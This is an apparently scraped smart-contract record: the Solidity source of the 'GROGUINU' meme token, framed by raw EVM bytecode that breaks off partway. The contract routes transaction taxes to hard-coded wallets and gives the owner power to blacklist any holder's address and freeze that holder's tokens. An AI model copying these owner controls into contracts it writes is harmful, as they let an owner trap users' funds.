ffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561153f57506000600254145b801561154d57506000600354145b1561155b57600090506115fa565b600060045411156115b7576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115b657600090506115fa565b5b600060025411156115d6578160025411156115d557600090506115fa565b5b600060035411156115f5576003548211156115f457600090506115fa565b5b600190505b9291505056fea265627a7a72315820c745f9ac9f4d0e58c3bb7ad1f6c33d670e2915aedd27b38fd104ec554abdad0664736f6c63430005110032
[ 0, 15, 8 ]
0xF1c8B42bfE1495B2224A689553C8Bf1A79181F43
/* Built and deployed using FTP Deployer, a service of Fair Token Project. Deploy your own token today at https://app.fairtokenproject.com#deploy GROGUINU Socials: Telegram: https://t.me/groguinu Twitter: https://twitter.com/groguinu Website: https://groguinu.com/ Whitepaper: https://groguinu.com/downloads/GROGUINU-Whitesaber-Paper-v1.pdf ** Secured With FTP Antibot ** ** Using FTP LPAdd to recycle 2.00% of ALL transactions back into the liquidity pool. ** ** Using FTP ILO to provide up to 2.00% of ALL transactions to early funders. This service DOES NOT give tokens to funders. ** Fair Token Project is not responsible for the actions of users of this service. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private m_Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); m_Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return m_Owner; } function transferOwnership(address _address) public virtual onlyOwner { emit OwnershipTransferred(m_Owner, _address); m_Owner = _address; } modifier onlyOwner() { require(_msgSender() == m_Owner, "Ownable: caller is not the owner"); _; } } contract Taxable is Ownable { using SafeMath for uint256; FTPExternal External; address payable private m_ExternalServiceAddress = payable(0x4f53cDEC355E42B3A68bAadD26606b7F82fDb0f7); address payable private m_DevAddress; uint256 private m_DevAlloc = 1000; address internal m_WebThree = 0x1011f61Df0E2Ad67e269f4108098c79e71868E00; uint256[] m_TaxAlloc; address payable[] m_TaxAddresses; mapping (address => uint256) private m_TaxIdx; uint256 public m_TotalAlloc; uint256 m_TotalAddresses; bool private m_DidDeploy = false; function initTax() internal virtual { External = FTPExternal(m_ExternalServiceAddress); m_DevAddress = payable(address(External)); m_TaxAlloc = new uint24[](0); m_TaxAddresses = new address payable[](0); m_TaxAlloc.push(0); m_TaxAddresses.push(payable(address(0))); setTaxAlloc(m_DevAddress, m_DevAlloc); setTaxAlloc(payable(0x68f4c5da1F7881f785e918bdB4EbB6F3A5E91b85), 1000); setTaxAlloc(payable(0x3d15F078f059c465FD60A93Fb62fd7DC091AF666), 1000); setTaxAlloc(payable(0x697fD67B8C2857151397449C786c26E6bA6A98F6), 1000); setTaxAlloc(payable(0x3B099e77e5a27974daa5E03C572210F20C947C8e), 1000); setTaxAlloc(payable(0xF0ef60b9BAFf99BB9938A4519Ad4dEf231F0d7fE), 1000); m_DidDeploy = true; } function payTaxes(uint256 _eth, uint256 _d) internal virtual { for (uint i = 1; i < m_TaxAlloc.length; i++) { uint256 _alloc = m_TaxAlloc[i]; address payable _address = m_TaxAddresses[i]; uint256 _amount = _eth.mul(_alloc).div(_d); if (_amount > 1){ _address.transfer(_amount); if(_address == m_DevAddress) External.deposit(_amount); } } } function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() { require(_alloc >= 0, "Allocation must be at least 0"); if(m_TotalAddresses > 11) require(_alloc == 0, "Max wallet count reached"); if (m_DidDeploy) { if (_address == m_DevAddress) { require(_msgSender() == m_WebThree); } } uint _idx = m_TaxIdx[_address]; if (_idx == 0) { require(m_TotalAlloc.add(_alloc) <= 10500); m_TaxAlloc.push(_alloc); m_TaxAddresses.push(_address); m_TaxIdx[_address] = m_TaxAlloc.length - 1; m_TotalAlloc = m_TotalAlloc.add(_alloc); } else { // update alloc for this address uint256 _priorAlloc = m_TaxAlloc[_idx]; require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 10500); m_TaxAlloc[_idx] = _alloc; m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc); if(_alloc == 0) m_TotalAddresses = m_TotalAddresses.sub(1); } if(_alloc > 0) m_TotalAddresses += 1; } function totalTaxAlloc() internal virtual view returns (uint256) { return m_TotalAlloc; } function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) { uint _idx = m_TaxIdx[_address]; return m_TaxAlloc[_idx]; } function updateDevWallet(address payable _address, uint256 _alloc) public virtual onlyOwner() { setTaxAlloc(m_DevAddress, 0); m_DevAddress = _address; m_DevAlloc = _alloc; setTaxAlloc(m_DevAddress, m_DevAlloc); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface FTPLiqLock { function lockTokens(address _uniPair, uint256 _epoch, address _tokenPayout) external; } interface FTPAntiBot { function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool); function registerBlock(address _recipient, address _sender, address _origin) external; } interface IWETH { function deposit() external payable; function balanceOf(address account) external view returns (uint256); function approve(address _spender, uint256 _amount) external returns (bool); function transfer(address _recipient, uint256 _amount) external returns (bool); } interface FTPILO { function init(uint256 _ethReserve, uint256 _allocReserve, uint256 _maxAlloc, uint256 _recoveryThreshold, bool _public) external; function stake(address _contract, address payable _address, uint256 _amount) external returns (uint256); function unstake(address _contract, address payable _address) external returns (uint256); function getUsedAlloc() external view returns (uint256); function addToWhitelist(address _address) external; function rmFromWhitelist(address _address) external; function addHoldings(uint256 _eth) external; function setLockParameters(address _contract, address _uniPair, uint256 _epoch, uint256 _ethBalance, address _router) external; } interface FTPExternal { function owner() external returns(address); function deposit(uint256 _amount) external; } contract GROGUINU is Context, IERC20, Taxable { using SafeMath for uint256; // TOKEN uint256 private constant TOTAL_SUPPLY = 1000000000000000 * 10**9; string private m_Name = "GROGUINU"; string private m_Symbol = "GRGU"; uint8 private m_Decimals = 9; // EXCHANGES address private m_UniswapV2Pair; IUniswapV2Router02 private m_UniswapV2Router; // TRANSACTIONS uint256 private m_WalletLimit = TOTAL_SUPPLY.div(133); bool private m_Liquidity = false; event NewTaxAlloc(address Address, uint256 Allocation); event SetTxLimit(uint TxLimit); // ANTIBOT FTPAntiBot private AntiBot; address private m_AntibotSvcAddress = 0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3; // LP ADD IWETH private WETH; uint256 private m_LiqAlloc = 2000; // ILO FTPILO private ILO; address payable private m_ILOServiceAddress = payable(0xa15dD6E744820A7A00803784dE9b69C9Ff1998BB); uint256 private m_ILOAlloc; bool private m_ILOPublic = true; // MISC address private m_LiqLockSvcAddress = 0x55E2aDaEB2798DDC474311AD98B23d0B62C1EBD8; mapping (address => bool) private m_Blacklist; mapping (address => bool) private m_ExcludedAddresses; mapping (address => uint256) private m_Balances; mapping (address => mapping (address => uint256)) private m_Allowances; uint256 private m_LastEthBal = 0; uint256 private m_Launched = 0; bool private m_IsSwap = false; bool private m_DidTryLaunch; uint256 private pMax = 100000; // max alloc percentage modifier lockTheSwap { m_IsSwap = true; _; m_IsSwap = false; } modifier onlyDev() { require( _msgSender() == External.owner() || _msgSender() == m_WebThree, "Unauthorized"); _; } receive() external payable { if (!m_Liquidity) { address payable _staker = payable(msg.sender); uint256 _overstaked = ILO.stake(address(this), _staker, msg.value); if (_overstaked > 0) _staker.transfer(_overstaked); } } constructor () { m_UniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); AntiBot = FTPAntiBot(m_AntibotSvcAddress); WETH = IWETH(m_UniswapV2Router.WETH()); ILO = FTPILO(m_ILOServiceAddress); ILO.init(20000000000000000000, 2000, 500, 100000, m_ILOPublic); initTax(); m_Launched = block.timestamp.add(365 days); m_Balances[address(this)] = TOTAL_SUPPLY; m_ExcludedAddresses[owner()] = true; m_ExcludedAddresses[address(this)] = true; emit Transfer(address(0), address(this), TOTAL_SUPPLY); } function name() public view returns (string memory) { return m_Name; } function symbol() public view returns (string memory) { return m_Symbol; } function decimals() public view returns (uint8) { return m_Decimals; } function totalSupply() public pure override returns (uint256) { return TOTAL_SUPPLY; } function balanceOf(address _account) public view override returns (uint256) { return m_Balances[_account]; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(_msgSender(), _recipient, _amount); return true; } function allowance(address _owner, address _spender) public view override returns (uint256) { return m_Allowances[_owner][_spender]; } function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(_msgSender(), _spender, _amount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { _transfer(_sender, _recipient, _amount); _approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance")); return true; } function _readyToTax(address _sender) private view returns (bool) { return !m_IsSwap && _sender != m_UniswapV2Pair; } function _isBuy(address _sender) private view returns (bool) { return _sender == m_UniswapV2Pair; } function _isTax(address _sender) private view returns (bool) { return _sender == address(this); } function _trader(address _sender, address _recipient) private view returns (bool) { return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient] || _recipient == m_ILOServiceAddress || _sender == m_ILOServiceAddress); } function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) { if (_recipient == m_ILOServiceAddress || _sender == m_ILOServiceAddress) return false; return _sender == m_UniswapV2Pair || _recipient == m_UniswapV2Pair; } function _txRestricted(address _sender, address _recipient) private view returns (bool) { return _recipient != address(0) && _sender == m_UniswapV2Pair && !m_ExcludedAddresses[_recipient]; } function _walletCapped(address _recipient) private view returns (bool) { return _recipient != address(0) && _recipient != m_UniswapV2Pair && block.timestamp <= m_Launched.add(1 hours) && _recipient != m_ILOServiceAddress; } function _checkTX() private view returns (uint256){ if(block.timestamp <= m_Launched.add(9 minutes)) return TOTAL_SUPPLY.div(400); else return TOTAL_SUPPLY; } function _approve(address _owner, address _spender, uint256 _amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(_spender != address(0), "ERC20: approve to the zero address"); m_Allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } function _transfer(address _sender, address _recipient, uint256 _amount) private { require(_sender != address(0), "ERC20: transfer from the zero address"); require(_amount > 0, "Must transfer greater than 0"); require(!m_Blacklist[_sender] && !m_Blacklist[_recipient] && !m_Blacklist[tx.origin]); if(_isExchangeTransfer(_sender, _recipient) && block.timestamp >= m_Launched) { require(!AntiBot.scanAddress(_recipient, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop"); require(!AntiBot.scanAddress(_sender, m_UniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop"); AntiBot.registerBlock(_sender, _recipient, tx.origin); } if(_walletCapped(_recipient)) require(balanceOf(_recipient) < m_WalletLimit); uint256 _taxes = 0; if (_trader(_sender, _recipient)) { require(block.timestamp >= m_Launched); if (_txRestricted(_sender, _recipient)){ require(_amount <= _checkTX()); } _taxes = _getTaxes(_sender, _recipient, _amount); _tax(_sender); } else if (_sender != m_ILOServiceAddress && _recipient != m_ILOServiceAddress) { if(m_Liquidity && !_isBuy(_sender) && !_isTax(_sender)) { require(block.timestamp >= m_Launched.add(7 days), "Dumping discouraged"); } } _updateBalances(_sender, _recipient, _amount, _taxes); } function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private { uint256 _netAmount = _amount.sub(_taxes); m_Balances[_sender] = m_Balances[_sender].sub(_amount); m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount); m_Balances[address(this)] = m_Balances[address(this)].add(_taxes); emit Transfer(_sender, _recipient, _netAmount); } function _getTaxes(address _sender, address _recipient, uint256 _amount) private returns (uint256) { uint256 _ret = 0; if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]) { return _ret; } _ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc())); _ret = _ret.add(_amount.mul(m_LiqAlloc).div(pMax)); _ret = _ret.add(_amount.mul(m_ILOAlloc).div(pMax)); return _ret; } function _tax(address _sender) private { if (_readyToTax(_sender)) { uint256 _tokenBalance = balanceOf(address(this)); _swapTokensForETH(_tokenBalance); _disperseEth(); } } function _swapTokensForETH(uint256 _amount) private lockTheSwap { address[] memory _path = new address[](2); _path[0] = address(this); _path[1] = m_UniswapV2Router.WETH(); _approve(address(this), address(m_UniswapV2Router), _amount); m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( _amount, 0, _path, address(this), block.timestamp ); } function _depositWETH(uint256 _amount) private { WETH.deposit{value: _amount}(); uint256 _wethBal = WETH.balanceOf(address(this)); WETH.transfer(m_UniswapV2Pair, _wethBal); } function _getTaxDenominator() private view returns (uint) { uint _ret = 0; _ret = _ret.add(totalTaxAlloc()); _ret = _ret.add(m_LiqAlloc); _ret = _ret.add(m_ILOAlloc); return _ret; } function _disperseEth() private { uint256 _eth = address(this).balance; if (_eth <= m_LastEthBal) return; uint256 _newEth = _eth.sub(m_LastEthBal); uint _d = _getTaxDenominator(); if (_d < 1) return; payTaxes(_newEth, _d); _depositWETH(_newEth.mul(m_LiqAlloc).div(_d)); uint256 _iloEth = _newEth.mul(m_ILOAlloc).div(_d); if (m_ILOServiceAddress.send(_iloEth)) { ILO.addHoldings(_iloEth); } m_LastEthBal = address(this).balance; } function addLiquidity() external onlyOwner() { require(!m_Liquidity,"Liquidity already added."); uint256 _ethBalance = address(this).balance; _approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY); m_UniswapV2Pair = IUniswapV2Factory(m_UniswapV2Router.factory()).createPair(address(this), m_UniswapV2Router.WETH()); m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(m_ILOServiceAddress),block.timestamp); WETH.approve(address(this), type(uint).max); ILO.setLockParameters(address(this), m_UniswapV2Pair, block.timestamp.add(90 days), _ethBalance, address(m_UniswapV2Router)); m_ILOAlloc = ILO.getUsedAlloc(); m_Launched = block.timestamp.add(7 days); m_Liquidity = true; } function unstake() external { require(!m_Liquidity,"Cannot unstake after funding period has completed."); address payable _sender = payable(msg.sender); uint256 _amount = ILO.unstake(address(this), _sender); if (_amount > 0) _sender.transfer(_amount); } function launch(uint8 _timer) external onlyOwner() { require(!m_DidTryLaunch, "You are already launching."); m_Launched = block.timestamp.add(_timer); m_DidTryLaunch = true; } function didLaunch() external view returns (bool) { return block.timestamp >= m_Launched; } function checkIfBlacklist(address _address) external view returns (bool) { return m_Blacklist[_address]; } function blacklist(address _address) external onlyOwner() { require(_address != m_UniswapV2Pair, "Can't blacklist Uniswap"); require(_address != address(this), "Can't blacklist contract"); m_Blacklist[_address] = true; } function rmBlacklist(address _address) external onlyOwner() { m_Blacklist[_address] = false; } function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() { setTaxAlloc(_address, _alloc); if (_alloc > 0) m_ExcludedAddresses[_address] = true; else m_ExcludedAddresses[_address] = false; emit NewTaxAlloc(_address, _alloc); } function emergencySwap() external onlyOwner() { _swapTokensForETH(balanceOf(address(this)).div(10).mul(9)); _disperseEth(); } function addTaxWhitelist(address _address) external onlyOwner() { m_ExcludedAddresses[_address] = true; } function rmTaxWhitelist(address _address) external onlyOwner() { m_ExcludedAddresses[_address] = false; } function setWebThree(address _address) external onlyDev() { m_WebThree = _address; } }
0x6080604052600436106101855760003560e01c806391f85fda116100d1578063c7ab8d9d1161008a578063e8078d9411610064578063e8078d94146106a0578063f2fde38b146106b7578063f37c4bce146106e0578063f9f92be4146107095761029f565b8063c7ab8d9d146105fd578063d0040d701461063a578063dd62ed3e146106635761029f565b806391f85fda1461050357806395d89b411461051a57806398d5a5cb14610545578063a9059cbb1461056e578063a98f6f90146105ab578063ab9562fe146105d45761029f565b8063313ce5671161013e57806370a082311161011857806370a082311461043357806378781fc9146104705780638a13792e1461049b5780638da5cb5b146104d85761029f565b8063313ce567146103b457806353477d29146103df57806354486ac3146104085761029f565b806306fdde03146102a4578063095ea7b3146102cf57806318160ddd1461030c5780631c815b491461033757806323b872dd146103605780632def66201461039d5761029f565b3661029f57601160009054906101000a900460ff1661029d5760003390506000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bf6eac2f3084346040518463ffffffff1660e01b8152600401610204939291906141bb565b6020604051808303816000875af1158015610223573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102479190614223565b9050600081111561029a578173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610298573d6000803e3d6000fd5b505b50505b005b600080fd5b3480156102b057600080fd5b506102b9610732565b6040516102c691906142e9565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f1919061434c565b6107c4565b60405161030391906143a7565b60405180910390f35b34801561031857600080fd5b506103216107e2565b60405161032e91906143c2565b60405180910390f35b34801561034357600080fd5b5061035e60048036038101906103599190614409565b6107f4565b005b34801561036c57600080fd5b5061038760048036038101906103829190614449565b61098f565b60405161039491906143a7565b60405180910390f35b3480156103a957600080fd5b506103b2610a68565b005b3480156103c057600080fd5b506103c9610bb6565b6040516103d691906144b8565b60405180910390f35b3480156103eb57600080fd5b50610406600480360381019061040191906144d3565b610bcd565b005b34801561041457600080fd5b5061041d610cbd565b60405161042a91906143c2565b60405180910390f35b34801561043f57600080fd5b5061045a600480360381019061045591906144d3565b610cc3565b60405161046791906143c2565b60405180910390f35b34801561047c57600080fd5b50610485610d0c565b60405161049291906143a7565b60405180910390f35b3480156104a757600080fd5b506104c260048036038101906104bd9190614500565b610d19565b6040516104cf91906143c2565b60405180910390f35b3480156104e457600080fd5b506104ed610e1c565b6040516104fa919061452d565b60405180910390f35b34801561050f57600080fd5b50610518610e45565b005b34801561052657600080fd5b5061052f610f1b565b60405161053c91906142e9565b60405180910390f35b34801561055157600080fd5b5061056c600480360381019061056791906144d3565b610fad565b005b34801561057a57600080fd5b506105956004803603810190610590919061434c565b61109d565b6040516105a291906143a7565b60405180910390f35b3480156105b757600080fd5b506105d260048036038101906105cd9190614574565b6110bb565b005b3480156105e057600080fd5b506105fb60048036038101906105f69190614409565b6111da565b005b34801561060957600080fd5b50610624600480360381019061061f91906144d3565b611316565b60405161063191906143a7565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c91906144d3565b61136c565b005b34801561066f57600080fd5b5061068a600480360381019061068591906145a1565b61145c565b60405161069791906143c2565b60405180910390f35b3480156106ac57600080fd5b506106b56114e3565b005b3480156106c357600080fd5b506106de60048036038101906106d991906144d3565b611b39565b005b3480156106ec57600080fd5b50610707600480360381019061070291906144d3565b611c8b565b005b34801561071557600080fd5b50610730600480360381019061072b91906144d3565b611e35565b005b6060600c805461074190614610565b80601f016020809104026020016040519081016040528092919081815260200182805461076d90614610565b80156107ba5780601f1061078f576101008083540402835291602001916107ba565b820191906000526020600020905b81548152906001019060200180831161079d57829003601f168201915b5050505050905090565b60006107d86107d1612117565b848461211f565b6001905092915050565b600069d3c21bcecceda1000000905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610833612117565b73ffffffffffffffffffffffffffffffffffffffff1614610889576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108809061468e565b60405180910390fd5b61089382826122ea565b60008111156108f9576001601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610952565b6000601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b7fa6786a8b1b962e9b5d6c06da5fab4f1e2ce62d10444becfffa85d4523c8a25a6828260405161098392919061470d565b60405180910390a15050565b600061099c84848461274a565b610a5d846109a8612117565b610a588560405180606001604052806028815260200161549c60289139601c60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a0e612117565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d949092919063ffffffff16565b61211f565b600190509392505050565b601160009054906101000a900460ff1615610ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaf906147a8565b60405180910390fd5b60003390506000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f21f3c0830846040518363ffffffff1660e01b8152600401610b1c9291906147c8565b6020604051808303816000875af1158015610b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5f9190614223565b90506000811115610bb2578173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610bb0573d6000803e3d6000fd5b505b5050565b6000600e60009054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c612117565b73ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c599061468e565b60405180910390fd5b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60095481565b6000601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000601e54421015905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d5b612117565b73ffffffffffffffffffffffffffffffffffffffff1614610db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da89061468e565b60405180910390fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060068181548110610e0957610e086147f1565b5b9060005260206000200154915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e84612117565b73ffffffffffffffffffffffffffffffffffffffff1614610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed19061468e565b60405180910390fd5b610f11610f0c6009610efe600a610ef030610cc3565b61202590919063ffffffff16565b612df890919063ffffffff16565b612e73565b610f196130ec565b565b6060600d8054610f2a90614610565b80601f0160208091040260200160405190810160405280929190818152602001828054610f5690614610565b8015610fa35780601f10610f7857610100808354040283529160200191610fa3565b820191906000526020600020905b815481529060010190602001808311610f8657829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fec612117565b73ffffffffffffffffffffffffffffffffffffffff1614611042576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110399061468e565b60405180910390fd5b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006110b16110aa612117565b848461274a565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110fa612117565b73ffffffffffffffffffffffffffffffffffffffff1614611150576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111479061468e565b60405180910390fd5b601f60019054906101000a900460ff16156111a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111979061486c565b60405180910390fd5b6111b68160ff164261206f90919063ffffffff16565b601e819055506001601f60016101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611219612117565b73ffffffffffffffffffffffffffffffffffffffff161461126f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112669061468e565b60405180910390fd5b61129c600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660006122ea565b81600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600481905550611312600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166004546122ea565b5050565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113ab612117565b73ffffffffffffffffffffffffffffffffffffffff1614611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f89061468e565b60405180910390fd5b6001601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611522612117565b73ffffffffffffffffffffffffffffffffffffffff1614611578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156f9061468e565b60405180910390fd5b601160009054906101000a900460ff16156115c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bf906148d8565b60405180910390fd5b600047905061160430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda100000061211f565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611671573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611695919061490d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561171e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611742919061490d565b6040518363ffffffff1660e01b815260040161175f92919061493a565b6020604051808303816000875af115801561177e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a2919061490d565b600e60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823061182b30610cc3565b600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016118739695949392919061499e565b60606040518083038185885af1158015611891573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118b691906149ff565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611936929190614a52565b6020604051808303816000875af1158015611955573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119799190614aa7565b50601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd4f8a7530600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119f26276a7004261206f90919063ffffffff16565b85600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518663ffffffff1660e01b8152600401611a36959493929190614ad4565b600060405180830381600087803b158015611a5057600080fd5b505af1158015611a64573d6000803e3d6000fd5b50505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663edb601116040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ad5573d6000803e3d6000fd5b505050506040513d601f19601f82011682